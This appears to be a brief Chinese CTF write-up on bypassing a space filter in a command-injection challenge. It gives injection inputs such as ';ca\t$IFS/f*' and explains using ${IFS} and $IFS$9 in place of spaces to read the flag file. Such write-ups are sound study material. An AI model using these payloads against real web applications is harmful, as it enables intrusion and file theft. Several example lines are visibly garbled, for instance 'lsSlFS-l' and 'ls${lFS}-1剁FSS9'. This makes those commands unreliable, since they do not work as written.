尝试输入cat /f*
输入;ls / 过滤了空格
输入 ;ls
看到2个php, 空格绕过可以用注释替换空格
;ca\t/*123*/f* 发现不可以,看题解后发现使用${IFS}绕过
$IFS代替空格;$IFS、$IFS2、${IFS}、$IFS$9
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)
?cmd=lsSlFS-l单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名。
?cmd=ls${lFS}-1剁FSS9-后面加个$与{类似,起截断作用,$9是当前系统shel进程第九个参数持有者始终为空字符串。
?cmd=ls$lFs$9-1 (这里1到9应该都可以)
这道题输入;ca\t$IFS/f* 可得flag